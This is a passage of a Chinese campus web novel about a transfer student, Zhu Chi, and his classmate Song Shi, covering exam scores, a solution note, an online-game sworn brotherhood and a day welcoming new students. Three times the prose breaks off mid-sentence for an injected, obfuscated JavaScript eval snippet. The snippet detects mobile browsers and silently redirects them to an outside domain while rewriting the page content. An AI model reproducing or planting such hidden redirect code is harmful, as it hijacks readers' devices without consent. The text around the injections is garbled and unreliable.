这次的安慰还算有点成效,其它人点头,纷纷开始同情新同学,只有前排的侯思源扭头说了句:“但……祝池不是数学竞赛的吗,这点知识,没准儿早自学过。” 其它同学觉得也有道理。 夏思澈说:“我也是竞赛的,数学竞赛学的内容和高中不一样,这两章内容反正我在竞赛班没学。” 其它同学信了课代表的话,对祝池的同情更深了。 “夏神,你多少?”黄宇恒不怕被虐,只想找差距。 夏思澈把手从试卷上移开,第一张就是他的——148分。 “我没看错吧,太牛批了,”后排周延抻着脖子凑热闹,语气如常的一惊一乍,“我还在保佑能不能上130呢,你都接近满分了。” 夏思澈没往后翻几张就翻到了周延的——138分,超130超得还挺多。 这种场合,真正数学菜的往往不会吭声,比如周延同桌张振轩,只有110分。 大家一个个说没复习,一个个说要死了,最后出分都远不如描述得惨不忍睹,就算没有130,也是120大几,而这些120大几的人,还能哭天喊娘再自我埋汰一番。 只能说,大家都很谦虚。 登分表被填满,一个萝卜一个坑,所有人的分数都被登完了。 可夏思澈却总觉得好像漏了个人。 “新同学多少分?”黄宇恒对别人的分数很是上心。 夏思澈终于想起来了,好像自始至终,他都没见着祝池的试卷。 表情有那么一瞬间凝固,夏思澈敷衍应答:“祝池试卷估计落办公室了,我明天问问大顺去。” - 第二天数学课前,试卷分发到大家手中。 祝池也不是有意要看别人分数,只是刚好宋时出去了,试卷飘在桌子上,他不小心就看见了—— 145分。 挺牛的,字也好看。 像这种等级的试卷,不会见光死,是无惧摊在桌上供人观摩的。 祝池没多欣赏,继续刷手上的题目,这道题刚解到一半,不给它算完祝池心里难受。 他甚至没注意到,班上卷子发完了,也没发到他的。 数学课上,大顺走到讲台边,不用小蜜蜂就中气十足,“把昨天的试卷拿出来,我们今天评讲试卷。” “大家都拿到试卷了吧?”大顺问,祝池像是这档子才想起来,自己好像还没试卷。 他刚要举手报告,就看大顺从备课本里抽出张试卷,放在了白板投屏下。 “我们先来看一份样卷。” 台下人纷纷抬头,连题目刷到一半的也停下笔,好奇想知道是怎么个样卷。 摄像头对焦了两秒,屏幕中的字迹逐渐清晰起来,姓名栏上两个字格外引人瞩目——祝池。 虽然只在眼前一晃而过。 大顺很快将试卷翻面,“大家关注内容,是谁的卷子不重要,” 他指着屏幕说:“看看人家祝池的过程,看看人家祝池的排版,一目了然,清清楚楚,正确率就不用说了,大家要多多向祝池同学学习。” “……” 11. 满分 霎时间,钦佩的目光如潮水般涌向祝池的试卷,祝池顺着众人目光看过去,一齐欣赏自己卷子的大屏风采。 他以前没觉得,但这么放大一看,这字怎么感觉跟小学生写的一样。 一笔一划,还圆溜溜的。 尤其是和宋时那数字都能带出锋的字相比,好像是差了点。 “好,学习完优秀再来看看自己的试卷,”大顺把黑板推过去,开始讲题,“前五题没什么好说的,都是送分题,直接看第六题……” 祝池的试卷被晾在投屏仪下,大顺已经开始在黑板上写板书了。 祝池戳了戳班长同桌求助:“大顺是不是忘了把卷子还我。” 宋时这次没缩,边看最后一道题边说:“那是显然的。” 祝池继续问:“那我现在上去拿会怎么样?” 宋时跟人机似的,问什么,答什么:“会收获全班同学的注目礼。” 祝池哑言:“……” 祝池没半分纠结,直接把这个方案否了。 他不想自讨尴尬,也不想太出风头,反正拿不拿结果都一样,都是自己在下面刷题。 宋时本就觉得他大概没有合看卷子的需求,又瞟了一眼旁边,看他继续做着手头那本金牌竞赛集锦,剩下的那么一丁点儿念头也彻底放下。 两人不约而同钻研着自己手上的题目,谁都不打扰谁。 “下课。”大顺拿着教案往外走,途径投影仪的时候,才忽然意识到,祝池的卷子忘了给他。 可能是嫌最后一排太远,也可能是不愿打扰一整节课都没抬头,下课还在埋头做题的祝池,大顺拿起卷子,直接递到第一排侯思源手中。 “祝池的卷子,你们传着学习学习,传完记得还给人家。” 虽然知道还不还问题不大,但物归原主的意思还是要表达到位,大顺说完,夹着教案走出教室。 手里握着满分试卷真品,侯思源一跃成为班上最受欢迎的对象。 旁边近水楼台的直接站起来,坐的不远的也不嫌两步路麻烦,一时间,前面两排围满了人,夏思澈坐在其中,被挤得有些透不过气儿。 “让一让,我出去接水。”夏思澈挤过人群,拿着水杯往外走。 他同桌黄宇恒喊住他:“夏神,课前我顺带帮你接了,你给忘了?” “……” 夏思澈跟没听见似的,径直走出教室。 重点高中的重点班大都慕强,一班这帮子人也不例外。 虽然大顺第一天就介绍了转校生的厉害,但只有同台竞技过,才更能让人信服。 没一会儿,一班最受欢迎的对象,就从侯思源转到了祝池身上。 祝池旁边围了一群人,他的人缘相较昨天,也肉眼可见又上了一层台阶。 宋时似乎也被压得喘不过气,拿着杯子往外走。 不过他的杯子是空的,是真要接水。 宋时走后,正好给了慕名前来的人发挥空间,周延过来先是一番马屁:“大神,数学也太好了点儿吧,这是有天赋啊,不愧是竞赛拿过市一等的牛人。” 黄宇恒紧接着附和:“这张卷子最后一题是真难,我看了一转儿,你应该是班上唯一做出来的人,连夏神最后一题都扣了两分呢。” 这才开学第二天,祝池自然分不清人。尽管昨天睡前,他还在班级群里把人名熟悉了一遍,但脸和名字却对不上号。 祝池猜测,这人口中的夏神,应该是数学课代表夏思澈。 他扯着嘴角回复:“其实只是因为我学得比你们快。” 周延立刻接嘴:“确实确实,有天赋,学啥都快。” 祝池被噎了下,到嘴边的话差点就不想说了,但深吸一口气后,还是决定把过场走完,“我之前高中高一上就分科了,所以我们很多时间都被分给了数学,教学进度快,比如你们现在刚上完选修一,我们选修二已经上一半了。” 听完学神背后的故事,围过来的人稍稍理智了些,没再说些毫无营养、天花烂坠的赞美词。 “哦,这样啊,”周延若有所思点头,“可是……考的也是我学过的东西啊,好像没差。” 周延一语中的,众人被点醒,一瞬有了自己不如学神的实感,夸得更起劲了。 祝池:“……” 好吧,是他的疏忽。 没多久,宋时打水回来,众人看见宋时像见着老师一样,没说几句就离开了。 大抵是班长身正体直的印象深入人心,在这种高冷的三好学生面前,说话都得压着嗓子。 宋时的到来让祝池耳根子顿时清净。 这还是他第一次发觉,宋时的冰豌豆原来也不是只会攻击人。 宋时卷子还是大喇喇敞在桌面,祝池一个转头就能看见。 刚刚应付一群人无聊,也就多往宋时卷子看了两眼。 刚才那人口中全班只有他一人做对的变态最后一题,正巧是宋时唯一没做出的题。 看样子他上节课磕了一节课的题,也是这道。 在学校,宋时像个只会学习的机器,接完水回来,就又开始笔耕不辍了,还是和那题战斗。 像个屡战屡败,屡败屡战,一条道非要走到黑的小强。 祝池觉得他很傻,这样磕题效率最低了,有时候要学会适当放弃,也要学会另寻它法。 譬如,请教身边会做的人就是一个很好的法子。 祝池咳嗽两声,打算给他一个台阶下,“那个,这题我会。” 宋时不想搭理他,“废话,我不瞎。” 祝池这个台阶刚搭起来就被人给拆了,他有点恼。 什么态度,你不想听我还不想教呢。 名师免费一对一,傻子才会拒绝。 - 周二的大晚自习是语文,一上来就发了三张资料,不过任务并不繁重。 要写的只有一张语综训练,另外两张都是阅读资料,一张新闻素材,一张优秀范文。 看标题,应该是一中上学期期末考试的作文。 打头第一篇很醒目。 满分。60分。 标题下小字注明:高一(1)班宋时 没看出来,这家伙语文这么好。 看来朋友圈没白积累。 熟人登报,当然要一睹为快,祝池迫不及待想看看他的正文。 刚看了个开头:朱光潜曾写下:“世界上无所谓幸福,也无所谓不幸……” 名人名言还没读完,就听见讲台上传来梅妈的声音:“先做语综练习,阅读资料做完再看,四十都交上来,我先瞧瞧。” 台下被阅读资料吸引的当然不止祝池一人。 话音刚落,教室里便响起一阵翻卷子的声响。班上人前脚还在不紧不慢挑自己喜欢的片段看,下一秒就打起十二分精神,再次进入紧迫的写题状态。 祝池只好暂时搁置宋时的作文,打算先把任务搞定再说。 语综题做起来并不费劲,虽然正反面满满当当印了十几道题,但做起来其实很快,起码对祝池来说是这样的。 会的题有话说,捞起笔就能写,不会的题,譬如改错、填成语,就算是把卷子盯穿了,最后蒙的八成也是个错的。 祝池在语文方面心态一直很好,他始终奉行会做的做,不会做的放,把话说清楚就行。 不过这种中规中矩的态度也很少失手,不管题难题易,他都能拿到一个中规中矩的分数。 祝池3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667834|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0分钟就把试卷填了个七七八八,看时间充足,勉强又看了遍没填出的空。 果不其然,还是不会。 他瞥了眼旁边的作文满分大佬,大佬果然也写完了。 宋时的试卷放在桌角的一摞书上,靠近祝池这边,祝池掀起眼皮扫了眼。 完成度相当好。 起码左半面这几道填成语没有空题。 四十分钟过去,班上人大都停了笔,梅妈提醒大家把卷子交上来,这时,不少人又重新捡起笔,在卷子上一顿奋笔疾书。 “好啦,不写了。限时训练就是到点就收,考试打铃了还有时间让你改吗?”梅妈说,“做题要力求一气呵成,一锤子买卖,像是这种最后拿不准的,就要相信你的第一感觉,不要回过头还涂涂改改……” 梅妈扶了扶眼镜,絮絮叨叨地说。 梅妈原名梅芳,是一班的语文老师兼语文组备课组长,因为教龄长,年纪长,所以无论是班上学生还是组里的年轻老师,一律称她一声“梅妈”。 颇有种江湖侠客和柔情慈母混合的独特韵味。 卷子收上去后,终于可以继续放心大胆地看阅读资料。 祝池把宋时的作文翻出来,开始逐字逐句赏析满分作文的遣词造句、结构亮点。 写得是挺好,就是看着容易犯困。 没一会儿,腰背不自觉塌下去,祝池用手撑起脑袋,有一下没一下地转橡皮。 而他旁边的那位,坐得还跟松一样笔直,阅读时握着笔,没半分松弛感。 阅读的时候,梅妈时不时下来转悠,等她转到最后一排时,在宋时旁边多站了两秒。 梅妈点了点头,继续往前走,“大家不要光看,拿笔把好词好句标注出来,好记性不如烂笔头。” 只有祝池知道,这句话的灵感,来源于他的模范同桌。 他往宋时的方向看了眼,此人正目不斜视地盯着桌面,阅读资料摊在桌上,几道荧光笔印子很明显,右手小幅度地在桌角写个不停,只是—— 拿的不是荧光笔。 写什么呢,还摘抄上了。 祝池往他桌面上又多看了两眼,阅读资料上方露出一小截试卷,正正好把数学卷子最后一题题干给露出来。 而他手边压着的,是张四四方方的白色小纸片。 他这是……上甲课做乙课! 还能被老师夸认真? 祝池自愧不如,心下感叹这才是高手,手法和心态都是高手。 他最后看了眼宋时冷静执拗的侧脸,接着默默收回视线。 下课铃打响,班上人一窝蜂往外走,不少人最后几分钟就开始收拾书包,只等铃声一响,拎包就走。 贺景阳显然属于这类,刚打铃不过一分钟,就见他出现在一班门口。 “走吧,宋时呢?”贺景阳问。 “大顺找,估计在办公室,叫我们先走。”祝池边收东西边说。 贺景阳探着脑袋朝里张望,又问:“那许向暖呢?昨天她就脱离组织。” 祝池说:“她比你还积极,一打铃就走了,走之前过来说最近不跟咱一块儿了,她要先走。” 贺景阳愣了愣,往祝池耳边凑近了些,“你有没有觉得,自从许向暖收了江遇安的礼物,就变得奇奇怪怪的,都不跟咱们玩儿了。” 两人挎着包往外走,祝池不以为意道:“你想多了吧,她就是想好好学习,估计是觉得咱们路上聊天耽误时间。” 贺景阳摇摇头,勾上祝池肩头,“兄弟,这就是你想少了,认识十几年许向暖我还不了解,学习都是借口,她就是——” 停顿片刻,贺景阳斩钉截铁道: “见色忘友!” “……” 12. 结义 宋时回到教室时,教室人已经走光了。 他坐回自己位子上,打算把刚才解到一半的题目算完。 还是数学试卷最后一题。 不过功夫不负有心人,宋时最后找到了突破口,估计要不了五分钟,他就能完完整整给解出来。 宋时拿起笔,抽出卷子的瞬间,一个轻飘飘的小东西被带了出来。 不大不小的四方纸片在空中扬起,翻转几圈后,又稳稳落到地上。 宋时纳闷,自己什么时候把草稿纸夹卷子里了,他通常都是直接放笔袋上的。 还没琢磨清楚,宋时已经将纸片拾起,他掸了掸纸片上的灰尘,又将它在桌上展平。 纸片上的演算过程写得整整齐齐,小学生字体,很好认。 宋时没细看,他以为是祝池的草稿不小心卷到了自己位子上,伸手就要往祝池桌上放。 不过反面的几个大字让他动作一顿。 “不用谢,菜就别勉强。” 没有署名,不过胜似署了名。 宋时“切”了声,有种想撕了它的冲动,但出于对知识的尊重,最后还是忍住了。 他把纸片扔到一边,没去管它,按照自己原先的思路算出了最终结果—— 一个带根号的分式,还不是10以内的根式,怎么看怎么奇怪。 宋时盯着草稿纸愣了几秒,最后没忍住,还是没骨气地把纸条拿了过来,和上面的答案对了对。 答案是一样的,看来他没算错,只不过祝池的过程要简单得多。 黑笔写的部分只有寥寥数行。 过程中用蓝笔在旁边拉出条线,批注:这是二级结论,答题卡上记得推导一遍。 祝老师很用心的。 不止这个,连用到的公式和知识点都专门给总结出来,在虚线框里码得整齐,生怕他哪点看不懂似的。 宋时把两种不同的方法都誊到改错本上,又参考祝池的总结,自己稍加整理了番。 纸条上的信息全部吸纳完毕后,也没了利用价值,祝池又不是什么名流大家,即使留着他的亲签,也没有升值的空间。 桌上纸条横行显得杂乱,宋时通常会把不要的扔掉,还有用的放笔袋面上,随时能拿到。 没用完的便签稿纸连同祝池的字条被堆在笔袋上,宋时瞟见字条上幼稚的字体,皱了下眉。 或许是嫌字丑碍眼,字条被宋时单拎出来,折成小方块,往笔袋里塞了塞。 - 祝池回到家时,屋里沁满了银耳和红枣的味道,满屋飘香,甜蜜的气息让人一整天疲惫都消了不少。 贺景阳卸了包往厨房里喊:“今天又是什么好吃的?” 来到这里祝池才体会到,原来人一天不止要吃三餐,对于高中生这个既费体又费脑的群体来说,得四顿才够。 柳琴从厨房盛好汤,端出两碗放桌上,又贴心地取来勺子,招呼他俩过来喝汤:“红枣枸杞银耳汤,养生的,喝了正好睡个好觉。” 贺景阳盯着餐桌上简陋的两个碗愣神,“就这?” 柳琴回答:“嗯,就这。” “……” 贺景阳哭丧着脸:“我快饿死了,怎么一天比一天少啊,昨天水果沙拉,今天喝汤,明天是不是喝水就行了啊……” “也行,正好减减肥。”柳琴说,“上学期就是把你伺候太好了,光长肉不长脑子,以后晚上还是少吃点,饥饿让人清醒。” “我哪儿胖了……”贺景阳瞟了眼对面的祝池,话说一半懒得继续争辩,于是安安静静地在位子上喝汤。 两人迅速喝完汤,碗不用管,祝池跟着贺景阳提着书包上楼。 回到房间后,祝池迅速冲了个澡,接着才想起,手机在包里放了一天都没看,也不知道有没有人给他发消息。 尽管宋时昨天刚叫他不要带手机到学校,但祝池今天还是带了。 从小学养成的习惯哪能说改就改。 况且,他不是也带了。 祝池从包里翻出手机,点开一看,微信消息99+ 昨晚还置顶的SSS被挤出前三,祝光明和宁想分别给他发了条消息,而凭实力登顶的消息主力军,是一个叫“野生动物园”的群聊。 草,开学忘记给这个群设消息免打扰了。 祝池先把免打扰给开了,群里的消息一眼没看,直接给退了出来。 他点开下面两个红点。 “悦卡服饰祝光明……”:今天开学怎么样? “悦卡服饰宁想……”:你今天去学校感觉怎么样,还适应吗?(语音) 两个问题看上去像一个问题,但只有祝池明白,他俩想问的重心不一样。 他先回祝光明:挺好,新学校很大,环境设施都很不错。 又去回宁想:挺适应的,老师同学们都挺好,这边教学进度还没我之前快,您不用担心。(语音) 祝池仰在椅子上叹气。 唉,两个人也记不清儿子到底哪天开学,真是为难他们了。 回完父母的关心,祝池点开“野生动物园”群聊。 如他所料,什么消息大爆炸其实都是虚假繁荣,表情包刷了大半,剩下小半中的大半又被语气词给占据,最后算下来,真正有用的信息统共也没几条。 祝池懒得在里面屎里淘金,不仅辣眼睛,还容易污染心灵。 他干脆直接打开电脑,上号看看再说。 熟悉的笛音伴着箫鼓声从耳机传来,画面跳动到天机城,祝池一瞬被把拉入天地世界。 在这个恢弘的灵异世界里,他不再是身穿蓝白校服的转校生“祝池”,而是满级法师“hsm头头”。 YY里猴子兴奋地叫嚷:头儿,你终于上号了,群里消息你咋不回?你微信被盗了? hsm头头:我上学呢,而且学校不让带手机,被抓得写3500字检讨。 猴子:你什么学校,查这么严。 hsm头头:汉城一中,建议都进来改造改造,清华北大不是梦。 猴子:……算了,我能上一本就烧高香了。 猴子:不说这个了,说正事。上次那个桃花镇结义活动报名今天截止,一等奖可是屠龙唉,真不去? hsm头头:等着,马上来。 祝池在地图上选中桃花镇,界面闪动一下,周围的景象转换,土地平旷,屋舍俨然,有良田、美池、桑竹之属。 这里是天地里唯一安全、祥和、不用担心有妖魔出没的理想世界,只是有一个缺点——这里的店家太热情。 游戏界面的小人边朝前跑,就边有店家发出做客的邀请。 也不是真的邀请,都是系统识别到玩家后,自动发来的消息,旁边附带着某宝某抖的广告,不过闭眼点同意就好。 同意不代表你真的要停下脚步进去,但不同意则意味着,你会被店家拉黑,之后要想在这里进行食物补给,就不容易了。 祝池无脑点着数也数清的同意,要是哪天评选这个游戏最傻逼的地方,他一定投系统小广告一票。 点着点着,界面突然卡了一下,他人站在原地无法动弹。 祝池有点蒙,这该不会是不小心点到哪个广告了吧。 下一秒,界面传来系统消息—— “恭喜您,成功和“jzt尖”义结金兰。 即日起,您将与您最亲密的同胞携手,共同完成任务,夺得丰厚奖励。” 祝池:“???” 该消息一发布,可谓震惊全服,四海八荒的人全赶来凑热闹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667835|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >喊话一栏仅仅一分钟,就刷了999+条消息。 1楼:“卧槽,全服第一和全服第二结义,是我系统出问题了吗?” 2楼:“系统出问题的不止你,我也看见了。震惊.jpg” …… 520楼:“这两人不会是现实基友吧,往年这种活动尖神可是从来不参加的。” 521楼:“楼上的顶。这个‘hsm’头头一来,尖神就破戒了。” 523楼:“这个‘hsm头头’什么来头?有谁818?” …… 1314楼:“大家还是先想想自己吧,重点不是尖神和谁结义,重点是第一和第二结义,这让底层小菜咕可怎么活。” 1315楼:“终于有人回正题了,之后的任务,我们不是纯纯给别人当炮灰吗!” 1316楼:“楼上的别太悲观,第一毫无悬念,但第二还是可以搏一搏的。” …… 祝池看呆了,他自己都还游离在状况外,莫名其妙就成了全服的舆论中心。 耳机里传来尖锐的一声:啊啊啊——头儿你背弃信义,见利忘义,刚刚不是才说好一起结义的吗,这么快就抛弃我了,我的心被你伤透了……呜呜呜…… 一阵抽噎声断断续续传入耳中。 这事儿按说也是他的责任,是他自己点的同意,又没人逼他。 祝池有苦难言,只能在心里又骂了遍垃圾系统。 hsm头头:对不起,系统抽了,这并非我本意。 猴子:呜呜呜……我不信…… hsm头头:负荆请罪,跪求原谅,嘤嘤嘤。 猴子:呜呜呜……哄不好了…… 刚喝的银耳汤从胃里涌上来,祝池有点想吐。 他的耐心已经到达上限,再想不出来哄人的话,于是干脆破罐子破摔,甩过去一句:别装了,到时候奖励分你一半。 此言一出,猴子那边立马噤声,不仅哭腔止住了,精神头比往日还要高。 猴子:头儿,就知道你还是爱我的。 祝池:“……” 系统提示:结义成功,恭喜您获得一次免费抽奖机会,请抽奖。 紧接着,界面就弹出来一个转盘,祝池心下还在疑惑,为什么是他来抽。 不过没一会儿,就看见喊话那头,一个扎眼的名字赫然出现在方框中。 更离谱的是,喊话框自此跟冻住了一样,就这么定格在这条消息上,下方无一人刷屏。 jzt尖:你抽吧。 还挺有风度。 行,那他就不谦让了。 祝池点击中间的抽奖按钮,转盘开始转动。 十秒过后,转盘转速放缓,从谢谢参与晃过,又缓慢移动到三等奖。 指针走过三等奖,即将停下。 祝池心态很好,三等奖也不错。 怎么说也有个奖兜底,算是没白费这次机会。 又过了十秒,祝池以为总该结束了吧,结果指针还没停。 指针快要走过三等奖,而下一个是——几乎快要挤成麻杆的一等奖。 祝池一颗心被牵动。 最后,指针在一等奖中央定格。 祝池心下雀跃,暗自捏了把拳头。 系统提示:恭喜您,抽到一等奖,获得神刀——“屠龙”。 全服再次炸开了锅。 猴子:头儿,不愧是欧气之王啊,苟富贵勿相忘。 祝池刚点开背包,下一秒,系统消息再次传来:奖励已发布,您的结义同胞“jzt尖”已将“屠龙”收入背包。 “……” 祝池僵在椅子上,脸上的表情瞬间凝固,耳机中猴子的欢呼声依旧沸腾。 太狗了。脸呢? 13. 迎新 没一会儿,系统消息又来了。 祝池握鼠标的手一紧,表情有些不耐烦。 没完了是吧。 不过烦归烦,他还是将系统消息一字不落读完了。 读完一遍似乎没懂,又读了一遍。 短短一行字被祝池翻来倒去读了不下三遍—— “jzt尖”请求加您为好友。 看到下面一行字,祝池差点当场掀桌—— 申请理由:我是你兄弟。 谁他妈跟你是兄弟。 兄弟能开局套路人?兄弟能上来就占便宜? 祝池脑袋上顶着座火焰山,还是铁扇公主来了都扇不灭的那种。 鼠标锁定在拒绝上,却迟迟没点下去。 半晌,祝池还是和自己和解了,他平复着情绪,在心里告诉自己:允许一切发生,林子大了,什么鸟都有,冷静,要、冷、静。 最后为了方便做任务,也为了能当面讨伐这个“小人”,祝池还是点了同意。 刚点完,私聊对话框就发来消息—— 手气还行,之后好好配合。 管这叫还行? 你行你抽个一等奖啊。 隔着屏幕祝池都能感受到他的不屑,那个抠脚大汉的形象再次浮现在脑海,不过这回不是望尘莫及的高人面目,而是一副小人得志的模样。 胃里又一阵翻云倒海,甜腻的银耳汤混着胃酸,直往祝池嗓子眼冒。 hsm头头:不客气,你以后别拖我后腿就好。 jzt尖:应该不至于,榜一拖榜二后腿。 祝池连忙点开排行榜,他才两天不登游戏,排行榜就又换血了?! “hsm头头”被换到了第二,而第一还是那个脚指头尖。 祝池仔细扫了眼榜。 不得不说,这个脚趾头尖很有危机意识,一看他追上来,就立马开始狂刷经验值。 他点进“jzt尖”主页看,里面的每日任务条进度全被拉满。 现在,他和榜一差的不是几十经验值,而是几百经验值,就算他今晚通宵,也不一定能追上去。 当然,祝池没那么幼稚,他不会去通宵。 高中生四舍五入一下是早七晚十,通宵等于找死。 为了一个虚名放弃宝贵的身体和最重要的学习,他不会,孰轻孰重他分得清。 hsm头头:那你记得守好榜一的位子,因为以我的实力,榜一可能会随时易主。 jzt尖:以你的实力,还是先保住第二再说吧。 祝池又往榜单看了眼。 榜三咬得很近,和他现在就差几点经验值,对方只要随随便便做个任务,就能轻松反超。 祝池两眼一黑。 算了,摆烂吧,扯扯脚指头尖的后脚跟也不错。 最后祝池做任务做到十二点,好在榜三没他勤快,两人一下子又拉开了一百多经验值,“hsm头头”这才算暂时坐稳榜二的位子。 找怪和人物游走的空隙祝池也没闲着,面前的竞赛集锦今晚干了一面,进度不多但远胜于无,祝池满意合上,伸了个懒腰。 皎洁的月光洒落白墙黛瓦、飞檐翘角,蝉哼吟着绵绵不绝的摇篮曲,送满庭芳园的人家进入梦乡。 从窗子往外看,整个小区都笼罩在一片漆黑之中,唯有对面米色窗帘中渗出的朦朦微光,还在与路灯作伴。 这个点了,宋时家谁这么能熬…… 祝池睡前又看了眼手机,微信没人发消息,支付宝却多出一条退款记录。 支付宝到账9元——昨天的拉面钱。 祝池闲得无聊,又点进了和SSS的聊天记录。 总共没聊几句,准确来说,是压根没聊起来过。 要不是这头没回话,就是那头没搭理,两条无效的转账记录赫然占了半壁江山。 祝池觉得没意思,连着打了两个哈欠,他知道自己该睡了,也必须得睡了,于是关灯摁灭了手机。 - 新的一周开始,一中迎来了一批高一新生,作为对校园熟悉,又不怕耽误时间的高二学长学姐,自然扛起了新生向导的重任。 女生主要负责引导工作,男生主要负责帮忙搬行李。 学校似乎是觉得新建的校舍空着浪费,所以要求所有学生高一上必须住校,给出的理由是—— 学生要学会独立,家长要适度放手,住校就是最好的选择。 一中迎新工作做的很细致,学校四处有定点的学生指路,即使实在找不着,也有人全程陪伴领你进去。 许向暖不喜欢站桩,所以选择了后者。 今年秋老虎厉害得很,九月初的太阳依旧毒辣,从女寝出来走上主干道,阳光刺得人睁不开眼睛,许向暖用半边胳膊挡住脸,直往路旁绿荫里躲。 “哎,在这儿闲逛,被我发现了吧。” 后背被人拍了一下,力道不轻不重,许向暖不用回头就知道是哪个货。 不耐从眼底闪过,要是放在往常,她非得跟他唇枪舌战八百回争个输赢,但今日她没兴致,连怼人的口气都温和不少,“那咋了,我又不是永动机。” 贺景阳刚帮一小学妹搬东西到女寝楼下,小学妹是个未雨绸缪的,床帘水瓶洗脸盆一个不落,所有家当第一天就整得齐全,就是辛苦帮忙提东西的学长。 刚出完力气,炽热骄阳炙烤得人汗流不止,贺景阳扯着领口扇风,想喝水的欲望达到极点。 正当他苦于没有水源时,视线不经意下移,一个红瓶身陡然映入眼帘。 “太好了,你有水啊,快给我来口。”贺景阳折了两下指关节,示意她递过来。 许向暖握着水没动,“我喝过了。” “没事儿,我不嫌弃你。”他摊开手掌,已经做好了接水的准备。 “……”许向暖瞥他一眼,“我嫌弃你。” 贺景阳觉得奇怪,他俩还有宋时,他们仨从小吃一块儿西瓜长大的,以前也没见她有什么意见啊。 “我又不对嘴,”贺景阳并拢掌心哀求,“姑奶奶,江湖救急,回去再还你一瓶,行不?” 浓荫之下,燥热不觉间消散大半,一阵沙沙声在耳边奏响,竟带来几分清凉。 片刻迟疑后,许向暖打开水瓶猛灌两口,接着把瓶子扔向贺景阳,“你的了,垃圾别给我。” “那是自然。” 贺景阳得了水,如同沙漠中的朽木获得灌溉,咕嘟咕嘟一瓶就见了底,他抹了把脸说:“爽!” 迎完一波学生,这会子校园里空旷不少,两人走了一路也没遇见求助的学弟学妹,就这么干巴巴地在校园漫步。 许向暖不吭声,贺景阳还有点儿不习惯,他忍不住问:“怎么感觉你最近情绪不高啊,搞得跟受了情伤一样。” 许向暖:“……” “不会说话就别说话。” “我就随便一说,也可能是我太敏感了… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667836|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你没不高兴自然最好,”贺景阳挠挠头,“不过放学你着急走,真是赶着回去学习啊?” 听这语气,像是在质疑她。 但对于自己积极认真的学习态度,许向暖向来不容许别人怀疑。 “不然呢?都高二了,还不抓点紧吗?我可不想被一班踢出来,太丢人了。”许向暖气道。 贺景阳被呛了下,“是是是,您最爱学习。”转身又绕到许向暖跟前。 “干嘛?别挡道。”许向暖道。 贺景阳边退边说:“撇下我们一个人卷不地道,要不考虑考虑督促大家一块儿?” 许向暖双臂叠在胸前,打量着他,“众行者易趋,我怕你们影响我。” “孤举者难行,而且也不一定是我们影响你……” 许向暖脸色倏地一变,贺景阳又改口:“不是说你影响我们,我的意思是,大家可以互相督促,路上聊天只聊学习,我保证。”贺景阳收起嬉皮笑脸,绷着三指郑重道。 态度还算诚挚,许向暖表情也跟着松了些。 看她没答话,贺景阳低头自言自语:“还有就是,少一个人挺不习惯的……” 许向暖:“什么?” 贺景阳抬头,立刻说:“我说,组织需要你,我们不能没有你。” 半晌,许向暖嗤地笑了。 梧桐绿意盎然,梧桐下少年眼神坚定得像是要入党。 身上的汗彻底散去,她终于松了口:“行吧,看在祝池和宋时的面子上。” …… 此时的祝池还顶着骄阳站在路中央,他被分到“路标”的岗位,一站就是一上午。 学校很贴心,考虑到祝池是转学生,对校园还不熟悉,就让他站在最显眼的主干道中央。 笔直的道路只有两个方向,朝前是教学楼,朝后是寝室,具体怎么走不用记,因为隔不远还有别的向导。 不仅如此,学校对于人员安排还有别的讲究——漂亮孩子站中间,有利于学校形象宣传。 就比方说现在,祝池就因为出众的外表,吸引来一批小学妹。 “学长,请问寝室楼怎么走啊?”其中一个扎马尾的小姑娘问。 祝池给她指了指方向,对方却没动。 “学长,那教学楼在哪儿啊?”另一个披着头发的小姑娘问。 祝池朝反方向指去,对方还是没动。 祝池不懂,所以她们究竟要去哪里。 他刚想建议她们找个人带着进去,对面又问:“学长,可以加个微信吗?你直接报电话号就好。”女生从兜里掏出笔和小本子,只等他开口。 祝池愣在原地,脸上写满惊讶。 随身携带纸笔,是个好习惯哈。 架不住学妹的热情追问,祝池刚要报手机号,面前就落下一道阴影,将视线挡了个严实。 “学妹,是有什么不懂的问题吗?”宋时回眸看一眼祝池,“他新来的,可能不太懂。” 学妹一脸震惊,新来的学长? 好稀奇。 “你们有什么问题直接问我就行。” 宋时不仅是一班班长,还是高二的学生会会长,今天的迎新工作也由他统筹负责,巡逻的时候正好看见这边围着人不走,很是影响道路交通。尽管宽广的主干道上这点人压根造成不了什么威胁。 “学长,我们没什么问题,”学妹盯着宋时看了良久,“就是—— 能不能和你也加个微信?” 14. 问题 宋时脸拉下来,他的关注点不在要微信上,而在那个“也”字上。 所以祝池这么快就把微信号给人家了? 真能行。 